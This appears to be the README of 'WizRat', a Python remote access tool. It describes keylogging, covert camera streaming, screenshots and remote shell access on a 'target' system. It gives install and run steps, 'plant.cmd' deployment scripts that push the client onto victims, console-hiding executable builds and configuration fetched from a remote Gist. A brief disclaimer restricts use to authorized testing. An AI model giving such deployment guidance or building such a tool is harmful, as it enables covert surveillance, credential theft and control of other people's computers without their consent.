Platform | Release | Format |
---|---|---|
Windows | WinRelease | .exe |
Linux | TBA | .pyc |
MacOS | TBA | .pyc |
Run plant.cmd
/ plant_admin.cmd
from same directory where client.exe
is located to push it inside target/client system
- Real-time remote system monitoring
- Live camera streaming capabilities
- Remote screenshot functionality
- Custom command execution with remote shell access
- Real-Time keystroke capturing and streaming from remote system
- Secure socket-based communication
- Screenshot viewer
- Configurable server/client settings
- Python 3.x
- Dependencies (install via
pip install -r requirements.txt
):
- Clone the repository:
git clone https://github.com/aamitn/wizrat.git
cd wizrat
- Install dependencies:
pip install -r requirements.txt
- Start the server:
python server.py
- Run the client on target system:
python client.py
- Use the GUI interface to:
- Monitor connected clients
- View live camera feed
- Capture screenshots
- Send commands
- Manage connections
WizRat uses a tiered configuration approach:
- Primary configuration is loaded from a GitHub Gist defined by
GIST_URL
inconfig.py
- If the Gist is unavailable, fallback settings from
config.py
are used
- Defined by
GIST_URL
inconfig.py
- Allows dynamic configuration updates
- Contains all server and client settings
Default settings used when Gist is unavailable:
- Server IP address (
SERVER_FALLBACK_IP
) - Port numbers (
SERVER_FALLBACK_PORT
) - Camera server settings (
CAM_SERVER_PORT
,CAM_FPS
, etc.) - Other connection parameters
- Server/Client IP addresses
- Port numbers for main and camera servers
- Camera settings (FPS, quality, frame width)
- Connection timeout values
- Retry intervals
- Debug flags
To modify the configuration:
- Update the Gist URL in
config.py
- Or modify fallback values directly in
config.py
Convert Python scripts to standalone executables:
pyinstaller --noconsole --onefile --icon=icon.ico server.py
pyinstaller --noconsole --onefile --icon=icon.ico client.py
A graphical interface for PyInstaller:
- Install auto-py-to-exe:
pip install auto-py-to-exe
- Launch the GUI:
auto-py-to-exe
- Select your Python script and build options
- Click "Convert" to generate the executable
Generate requirements with exact versions:
pip install pip-chill
pip-chill --no-chill -v > requirements.txt
For requirements without version constraints:
pip-chill --no-chill --no-version -v > requirements.txt
Generate requirements based on imports:
pip install pipreqs
pipreqs .
Pre-built executables and deployment scripts are available in the releases section:
server.exe
- Standalone server executableclient.exe
- Standalone client executableplant_admin.cmd
- Deployment script (administrative privileges)plant.cmd
- Deployment script (user privileges)
This tool is for educational and authorized testing purposes only. Always:
- Obtain proper authorization before use
- Follow applicable laws and regulations
- Use responsibly and ethically
This project is licensed under the MIT License - see the LICENSE file for details.
The authors are not responsible for any misuse or damage caused by this program.